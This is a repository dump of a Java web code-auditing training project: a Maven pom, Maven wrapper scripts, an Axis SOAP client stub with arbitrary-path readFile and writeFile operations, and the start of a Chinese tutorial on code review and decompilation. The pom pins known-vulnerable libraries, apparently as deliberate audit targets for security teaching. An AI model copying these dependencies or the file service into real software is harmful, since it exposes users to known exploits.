address); 134 | } 135 | 136 | } 137 | -------------------------------------------------------------------------------- /javaweb-codereview-axis/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 6 | 7 | javaweb-codereview 8 | org.javaweb 9 | 1.0.0 10 | 11 | 12 | 4.0.0 13 | javaweb-codereview-axis 14 | war 15 | javaweb-codereview-axis Maven Webapp 16 | http://www.example.com 17 | 18 | 19 | UTF-8 20 | 1.8 21 | 1.8 22 | 23 | 24 | 25 | 26 | javax.servlet 27 | servlet-api 28 | 2.5 29 | provided 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | axis 40 | axis 41 | 1.4 42 | 43 | 44 | 45 | axis 46 | axis-ant 47 | 1.4 48 | 49 | 50 | 51 | axis 52 | axis-jaxrpc 53 | 1.4 54 | 55 | 56 | 57 | commons-io 58 | commons-io 59 | 2.6 60 | 61 | 62 | 63 | commons-collections 64 | commons-collections 65 | 3.2.1 66 | 67 | 68 | 69 | org.apache.logging.log4j 70 | log4j-core 71 | 2.5 72 | 73 | 74 | 75 | commons-logging 76 | commons-logging 77 | 1.2 78 | 79 | 80 | 81 | commons-discovery 82 | commons-discovery 83 | 0.5 84 | 85 | 86 | 87 | log4j 88 | log4j 89 | 1.2.17 90 | 91 | 92 | com.sun.jmx 93 | jmxri 94 | 95 | 96 | com.sun.jdmk 97 | jmxtools 98 | 99 | 100 | javax.jms 101 | jms 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | javaweb-codereview-axis 110 | 111 | 112 | 113 | maven-clean-plugin 114 | 3.1.0 115 | 116 | 117 | 118 | maven-resources-plugin 119 | 3.0.2 120 | 121 | 122 | maven-compiler-plugin 123 | 3.8.0 124 | 125 | 126 | maven-surefire-plugin 127 | 2.22.1 128 | 129 | 130 | maven-war-plugin 131 | 3.2.2 132 | 133 | 134 | maven-install-plugin 135 | 2.5.2 136 | 137 | 138 | maven-deploy-plugin 139 | 2.8.2 140 | 141 | 142 | 143 | 144 | 145 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM http://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven2 Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM set title of command window 39 | title %0 40 | @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' 41 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 42 | 43 | @REM set %HOME% to equivalent of $HOME 44 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 45 | 46 | @REM Execute a user defined script before this one 47 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 48 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 49 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 50 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 51 | :skipRcPre 52 | 53 | @setlocal 54 | 55 | set ERROR_CODE=0 56 | 57 | @REM To isolate internal variables from possible post scripts, we use another setlocal 58 | @setlocal 59 | 60 | @REM ==== START VALIDATION ==== 61 | if not "%JAVA_HOME%" == "" goto OkJHome 62 | 63 | echo. 64 | echo Error: JAVA_HOME not found in your environment. >&2 65 | echo Please set the JAVA_HOME variable in your environment to match the >&2 66 | echo location of your Java installation. >&2 67 | echo. 68 | goto error 69 | 70 | :OkJHome 71 | if exist "%JAVA_HOME%\bin\java.exe" goto init 72 | 73 | echo. 74 | echo Error: JAVA_HOME is set to an invalid directory. >&2 75 | echo JAVA_HOME = "%JAVA_HOME%" >&2 76 | echo Please set the JAVA_HOME variable in your environment to match the >&2 77 | echo location of your Java installation. >&2 78 | echo. 79 | goto error 80 | 81 | @REM ==== END VALIDATION ==== 82 | 83 | :init 84 | 85 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 86 | @REM Fallback to current working directory if not found. 87 | 88 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 89 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 90 | 91 | set EXEC_DIR=%CD% 92 | set WDIR=%EXEC_DIR% 93 | :findBaseDir 94 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 95 | cd .. 96 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 97 | set WDIR=%CD% 98 | goto findBaseDir 99 | 100 | :baseDirFound 101 | set MAVEN_PROJECTBASEDIR=%WDIR% 102 | cd "%EXEC_DIR%" 103 | goto endDetectBaseDir 104 | 105 | :baseDirNotFound 106 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 107 | cd "%EXEC_DIR%" 108 | 109 | :endDetectBaseDir 110 | 111 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 112 | 113 | @setlocal EnableExtensions EnableDelayedExpansion 114 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 115 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 116 | 117 | :endReadAdditionalConfig 118 | 119 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 120 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 121 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 122 | 123 | set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar" 124 | FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO ( 125 | IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B 126 | ) 127 | 128 | @REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 129 | @REM This allows using the maven wrapper in projects that prohibit checking in binary data. 130 | if exist %WRAPPER_JAR% ( 131 | echo Found %WRAPPER_JAR% 132 | ) else ( 133 | echo Couldn't find %WRAPPER_JAR%, downloading it ... 134 | echo Downloading from: %DOWNLOAD_URL% 135 | powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')" 136 | echo Finished downloading %WRAPPER_JAR% 137 | ) 138 | @REM End of extension 139 | 140 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 141 | if ERRORLEVEL 1 goto error 142 | goto end 143 | 144 | :error 145 | set ERROR_CODE=1 146 | 147 | :end 148 | @endlocal & set ERROR_CODE=%ERROR_CODE% 149 | 150 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 151 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 152 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 153 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 154 | :skipRcPost 155 | 156 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 157 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 158 | 159 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 160 | 161 | exit /B %ERROR_CODE% 162 | -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/java/org/javaweb/codereview/axis/client/FileServiceSoapBindingStub.java: -------------------------------------------------------------------------------- 1 | /** 2 | * FileServiceSoapBindingStub.java 3 | *

4 | * This file was auto-generated from WSDL 5 | * by the Apache Axis 1.4 Apr 22, 2006 (06:55:48 PDT) WSDL2Java emitter. 6 | */ 7 | 8 | package org.javaweb.codereview.axis.client; 9 | 10 | import java.net.URL; 11 | 12 | public class FileServiceSoapBindingStub extends org.apache.axis.client.Stub implements org.javaweb.codereview.axis.client.FileService_PortType { 13 | 14 | private java.util.Vector cachedSerClasses = new java.util.Vector(); 15 | 16 | private java.util.Vector cachedSerQNames = new java.util.Vector(); 17 | 18 | private java.util.Vector cachedSerFactories = new java.util.Vector(); 19 | 20 | private java.util.Vector cachedDeserFactories = new java.util.Vector(); 21 | 22 | static org.apache.axis.description.OperationDesc[] _operations; 23 | 24 | static { 25 | _operations = new org.apache.axis.description.OperationDesc[2]; 26 | _initOperationDesc1(); 27 | } 28 | 29 | private static void _initOperationDesc1() { 30 | org.apache.axis.description.OperationDesc oper; 31 | org.apache.axis.description.ParameterDesc param; 32 | oper = new org.apache.axis.description.OperationDesc(); 33 | oper.setName("readFile"); 34 | param = new org.apache.axis.description.ParameterDesc(new javax.xml.namespace.QName("", "path"), org.apache.axis.description.ParameterDesc.IN, new javax.xml.namespace.QName("http://www.w3.org/2001/XMLSchema", "string"), java.lang.String.class, false, false); 35 | oper.addParameter(param); 36 | oper.setReturnType(new javax.xml.namespace.QName("http://www.w3.org/2001/XMLSchema", "string")); 37 | oper.setReturnClass(java.lang.String.class); 38 | oper.setReturnQName(new javax.xml.namespace.QName("", "readFileReturn")); 39 | oper.setStyle(org.apache.axis.constants.Style.RPC); 40 | oper.setUse(org.apache.axis.constants.Use.ENCODED); 41 | _operations[0] = oper; 42 | 43 | oper = new org.apache.axis.description.OperationDesc(); 44 | oper.setName("writeFile"); 45 | param = new org.apache.axis.description.ParameterDesc(new javax.xml.namespace.QName("", "path"), org.apache.axis.description.ParameterDesc.IN, new javax.xml.namespace.QName("http://www.w3.org/2001/XMLSchema", "string"), java.lang.String.class, false, false); 46 | oper.addParameter(param); 47 | param = new org.apache.axis.description.ParameterDesc(new javax.xml.namespace.QName("", "content"), org.apache.axis.description.ParameterDesc.IN, new javax.xml.namespace.QName("http://www.w3.org/2001/XMLSchema", "string"), java.lang.String.class, false, false); 48 | oper.addParameter(param); 49 | oper.setReturnType(new javax.xml.namespace.QName("http://www.w3.org/2001/XMLSchema", "string")); 50 | oper.setReturnClass(java.lang.String.class); 51 | oper.setReturnQName(new javax.xml.namespace.QName("", "writeFileReturn")); 52 | oper.setStyle(org.apache.axis.constants.Style.RPC); 53 | oper.setUse(org.apache.axis.constants.Use.ENCODED); 54 | _operations[1] = oper; 55 | 56 | } 57 | 58 | public FileServiceSoapBindingStub() throws org.apache.axis.AxisFault { 59 | this(null); 60 | } 61 | 62 | public FileServiceSoapBindingStub(java.net.URL endpointURL, javax.xml.rpc.Service service) throws org.apache.axis.AxisFault { 63 | this(service); 64 | super.cachedEndpoint = endpointURL; 65 | } 66 | 67 | public FileServiceSoapBindingStub(javax.xml.rpc.Service service) throws org.apache.axis.AxisFault { 68 | if (service == null) { 69 | super.service = new org.apache.axis.client.Service(); 70 | } else { 71 | super.service = service; 72 | } 73 | ((org.apache.axis.client.Service) super.service).setTypeMappingVersion("1.1"); 74 | } 75 | 76 | protected org.apache.axis.client.Call createCall() throws java.rmi.RemoteException { 77 | try { 78 | org.apache.axis.client.Call _call = super._createCall(); 79 | if (super.maintainSessionSet) { 80 | _call.setMaintainSession(super.maintainSession); 81 | } 82 | if (super.cachedUsername != null) { 83 | _call.setUsername(super.cachedUsername); 84 | } 85 | if (super.cachedPassword != null) { 86 | _call.setPassword(super.cachedPassword); 87 | } 88 | if (super.cachedEndpoint != null) { 89 | _call.setTargetEndpointAddress(super.cachedEndpoint); 90 | } 91 | if (super.cachedTimeout != null) { 92 | _call.setTimeout(super.cachedTimeout); 93 | } 94 | if (super.cachedPortName != null) { 95 | _call.setPortName(super.cachedPortName); 96 | } 97 | java.util.Enumeration keys = super.cachedProperties.keys(); 98 | while (keys.hasMoreElements()) { 99 | java.lang.String key = (java.lang.String) keys.nextElement(); 100 | _call.setProperty(key, super.cachedProperties.get(key)); 101 | } 102 | return _call; 103 | } catch (java.lang.Throwable _t) { 104 | throw new org.apache.axis.AxisFault("Failure trying to get the Call object", _t); 105 | } 106 | } 107 | 108 | public java.lang.String readFile(java.lang.String path) throws java.rmi.RemoteException { 109 | if (super.cachedEndpoint == null) { 110 | throw new org.apache.axis.NoEndPointException(); 111 | } 112 | org.apache.axis.client.Call _call = createCall(); 113 | _call.setOperation(_operations[0]); 114 | _call.setUseSOAPAction(true); 115 | _call.setSOAPActionURI(""); 116 | _call.setSOAPVersion(org.apache.axis.soap.SOAPConstants.SOAP11_CONSTANTS); 117 | _call.setOperationName(new javax.xml.namespace.QName("http://axis.codereview.javaweb.org", "readFile")); 118 | 119 | setRequestHeaders(_call); 120 | setAttachments(_call); 121 | try { 122 | java.lang.Object _resp = _call.invoke(new java.lang.Object[]{path}); 123 | 124 | if (_resp instanceof java.rmi.RemoteException) { 125 | throw (java.rmi.RemoteException) _resp; 126 | } else { 127 | extractAttachments(_call); 128 | try { 129 | return (java.lang.String) _resp; 130 | } catch (java.lang.Exception _exception) { 131 | return (java.lang.String) org.apache.axis.utils.JavaUtils.convert(_resp, java.lang.String.class); 132 | } 133 | } 134 | } catch (org.apache.axis.AxisFault axisFaultException) { 135 | throw axisFaultException; 136 | } 137 | } 138 | 139 | public java.lang.String writeFile(java.lang.String path, java.lang.String content) throws java.rmi.RemoteException { 140 | if (super.cachedEndpoint == null) { 141 | throw new org.apache.axis.NoEndPointException(); 142 | } 143 | org.apache.axis.client.Call _call = createCall(); 144 | _call.setOperation(_operations[1]); 145 | _call.setUseSOAPAction(true); 146 | _call.setSOAPActionURI(""); 147 | _call.setSOAPVersion(org.apache.axis.soap.SOAPConstants.SOAP11_CONSTANTS); 148 | _call.setOperationName(new javax.xml.namespace.QName("http://axis.codereview.javaweb.org", "writeFile")); 149 | 150 | setRequestHeaders(_call); 151 | setAttachments(_call); 152 | try { 153 | java.lang.Object _resp = _call.invoke(new java.lang.Object[]{path, content}); 154 | 155 | if (_resp instanceof java.rmi.RemoteException) { 156 | throw (java.rmi.RemoteException) _resp; 157 | } else { 158 | extractAttachments(_call); 159 | try { 160 | return (java.lang.String) _resp; 161 | } catch (java.lang.Exception _exception) { 162 | return (java.lang.String) org.apache.axis.utils.JavaUtils.convert(_resp, java.lang.String.class); 163 | } 164 | } 165 | } catch (org.apache.axis.AxisFault axisFaultException) { 166 | throw axisFaultException; 167 | } 168 | } 169 | 170 | } 171 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven2 Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Mingw, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | # TODO classpath? 118 | fi 119 | 120 | if [ -z "$JAVA_HOME" ]; then 121 | javaExecutable="`which javac`" 122 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 123 | # readlink(1) is not available as standard on Solaris 10. 124 | readLink=`which readlink` 125 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 126 | if $darwin ; then 127 | javaHome="`dirname \"$javaExecutable\"`" 128 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 129 | else 130 | javaExecutable="`readlink -f \"$javaExecutable\"`" 131 | fi 132 | javaHome="`dirname \"$javaExecutable\"`" 133 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 134 | JAVA_HOME="$javaHome" 135 | export JAVA_HOME 136 | fi 137 | fi 138 | fi 139 | 140 | if [ -z "$JAVACMD" ] ; then 141 | if [ -n "$JAVA_HOME" ] ; then 142 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 143 | # IBM's JDK on AIX uses strange locations for the executables 144 | JAVACMD="$JAVA_HOME/jre/sh/java" 145 | else 146 | JAVACMD="$JAVA_HOME/bin/java" 147 | fi 148 | else 149 | JAVACMD="`which java`" 150 | fi 151 | fi 152 | 153 | if [ ! -x "$JAVACMD" ] ; then 154 | echo "Error: JAVA_HOME is not defined correctly." >&2 155 | echo " We cannot execute $JAVACMD" >&2 156 | exit 1 157 | fi 158 | 159 | if [ -z "$JAVA_HOME" ] ; then 160 | echo "Warning: JAVA_HOME environment variable is not set." 161 | fi 162 | 163 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 164 | 165 | # traverses directory structure from process work directory to filesystem root 166 | # first directory with .mvn subdirectory is considered project base directory 167 | find_maven_basedir() { 168 | 169 | if [ -z "$1" ] 170 | then 171 | echo "Path not specified to find_maven_basedir" 172 | return 1 173 | fi 174 | 175 | basedir="$1" 176 | wdir="$1" 177 | while [ "$wdir" != '/' ] ; do 178 | if [ -d "$wdir"/.mvn ] ; then 179 | basedir=$wdir 180 | break 181 | fi 182 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 183 | if [ -d "${wdir}" ]; then 184 | wdir=`cd "$wdir/.."; pwd` 185 | fi 186 | # end of workaround 187 | done 188 | echo "${basedir}" 189 | } 190 | 191 | # concatenates all lines of a file 192 | concat_lines() { 193 | if [ -f "$1" ]; then 194 | echo "$(tr -s '\n' ' ' < "$1")" 195 | fi 196 | } 197 | 198 | BASE_DIR=`find_maven_basedir "$(pwd)"` 199 | if [ -z "$BASE_DIR" ]; then 200 | exit 1; 201 | fi 202 | 203 | ########################################################################################## 204 | # Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 205 | # This allows using the maven wrapper in projects that prohibit checking in binary data. 206 | ########################################################################################## 207 | if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then 208 | if [ "$MVNW_VERBOSE" = true ]; then 209 | echo "Found .mvn/wrapper/maven-wrapper.jar" 210 | fi 211 | else 212 | if [ "$MVNW_VERBOSE" = true ]; then 213 | echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." 214 | fi 215 | jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar" 216 | while IFS="=" read key value; do 217 | case "$key" in (wrapperUrl) jarUrl="$value"; break ;; 218 | esac 219 | done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" 220 | if [ "$MVNW_VERBOSE" = true ]; then 221 | echo "Downloading from: $jarUrl" 222 | fi 223 | wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" 224 | 225 | if command -v wget > /dev/null; then 226 | if [ "$MVNW_VERBOSE" = true ]; then 227 | echo "Found wget ... using wget" 228 | fi 229 | wget "$jarUrl" -O "$wrapperJarPath" 230 | elif command -v curl > /dev/null; then 231 | if [ "$MVNW_VERBOSE" = true ]; then 232 | echo "Found curl ... using curl" 233 | fi 234 | curl -o "$wrapperJarPath" "$jarUrl" 235 | else 236 | if [ "$MVNW_VERBOSE" = true ]; then 237 | echo "Falling back to using Java to download" 238 | fi 239 | javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" 240 | if [ -e "$javaClass" ]; then 241 | if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 242 | if [ "$MVNW_VERBOSE" = true ]; then 243 | echo " - Compiling MavenWrapperDownloader.java ..." 244 | fi 245 | # Compiling the Java class 246 | ("$JAVA_HOME/bin/javac" "$javaClass") 247 | fi 248 | if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 249 | # Running the downloader 250 | if [ "$MVNW_VERBOSE" = true ]; then 251 | echo " - Running MavenWrapperDownloader.java ..." 252 | fi 253 | ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") 254 | fi 255 | fi 256 | fi 257 | fi 258 | ########################################################################################## 259 | # End of extension 260 | ########################################################################################## 261 | 262 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 263 | if [ "$MVNW_VERBOSE" = true ]; then 264 | echo $MAVEN_PROJECTBASEDIR 265 | fi 266 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 267 | 268 | # For Cygwin, switch paths to Windows format before running java 269 | if $cygwin; then 270 | [ -n "$M2_HOME" ] && 271 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 272 | [ -n "$JAVA_HOME" ] && 273 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 274 | [ -n "$CLASSPATH" ] && 275 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 276 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 277 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 278 | fi 279 | 280 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 281 | 282 | exec "$JAVACMD" \ 283 | $MAVEN_OPTS \ 284 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 285 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 286 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 287 | -------------------------------------------------------------------------------- /JavaSecureCodeReview.md: -------------------------------------------------------------------------------- 1 | # Java Web安全-代码审计 2 | 3 | ![0](media/15460052300727/0.png) 4 | 5 | @Author [安百科技](http://www.anbai.com)-[凌天实验室](http://www.absec.cn)-[园长](http://javaweb.org) 6 | 7 | @Email admin@javaweb.org 8 | 9 | @Date 2018-12-29 10 | 11 | @Github [javaweb-codereview](https://github.com/anbai-inc/javaweb-codereview) 12 | 13 | ## 一、JavaWeb安全基础 14 | 15 | ### 1. 何为代码审计? 16 | 17 | 通俗的说Java代码审计就是通过审计Java代码来发现Java应用程序自身中存在的安全问题,由于Java本身是编译型语言,所以即便只有class文件的情况下我们依然可以对Java代码进行审计。对于未编译的Java源代码文件我们可以直接阅读其源码,而对于已编译的class或者jar文件我们就需要进行反编译了。 18 | 19 | Java代码审计其本身并无多大难度,只要熟练掌握审计流程和常见的漏洞审计技巧就可比较轻松的完成代码审计工作了。但是Java代码审计的方式绝不仅仅是使用某款审计工具扫描一下整个Java项目代码就可以完事了,一些业务逻辑和程序架构复杂的系统代码审计就非常需要审计者掌握一定的Java基础并具有具有一定的审计经验、技巧甚至是对Java架构有较深入的理解和实践才能更加深入的发现安全问题。 20 | 21 | 本文将分为多章节来讲述Java代码审计需要掌握的前置知识以及Java代码审计的流程、技巧。 22 | 23 | ![1](media/15460052300727/1.png) 24 | 25 | 26 | ### 2. 准备环境和辅助工具 27 | 28 | 在开始Java代码审计前请自行安装好Java开发环境,建议使用MacOS、Ubuntu操作系统。 29 | 30 | 所谓“工欲善其事,必先利其器”,合理的使用一些辅助工具可以极大的提供我们的代码审计的效率和质量! 31 | 32 | 强烈推荐下列辅助工具: 33 | 34 | 1. `Jetbrains IDEA(IDE)` 35 | 2. `Sublime text(文本编辑器)` 36 | 3. `JD-GUI(反编译)` 37 | 4. `Fernflower(反编译)` 38 | 5. `Bytecode-Viewer` 39 | 6. `Eclipse(IDE)` 40 | 7. `NetBeans(IDE)` 41 | 42 | ![2](media/15460052300727/2.png) 43 | 44 | 45 | ## 二、反编译技巧 46 | 47 | 在渗透测试的时候需要审计的代码通常是`class文件`或者`jar包`,那么我们应该如何审计呢?让我们先来学习一下什么是Java源码和字节码。 48 | 49 | ### 1. Java类编译与反编译基础 50 | 51 | 简单的说Java源码就是未经编译的`.java`文件,我们可以很轻松的阅读其中的代码逻辑,而字节码`.class`文件则是`.java`文件经过编译之后产生的字节码文件,因为`.class`文件是编译后的二进制文件所以我们是无法直接阅读的,只能通过反编译工具将二进制文件转换成`java代码`或者`ASM代码`。 52 | 53 | **示例代码Test.java:** 54 | 55 | ``` 56 | /** 57 | * @author yz 58 | */ 59 | public class Test { 60 | 61 | public static void hello() { 62 | System.out.println("Hello~"); 63 | } 64 | 65 | public void world() { 66 | System.out.println("World!"); 67 | } 68 | 69 | public static void main(String[] args) { 70 | hello(); 71 | } 72 | 73 | } 74 | ``` 75 | 76 | **Test.java编译执行流程:** 77 | 78 | ![3](media/15460052300727/3.png) 79 | 80 | **Test.java 源码、字节码** 81 | 82 | ![4](media/15460052300727/4.png) 83 | 84 | 由于class文件的可读性较差,通常我们需要使用Java反编译工具来反编译代码。我们通常会使用到[JD-GUI](http://jd.benow.ca/)、[IDEA 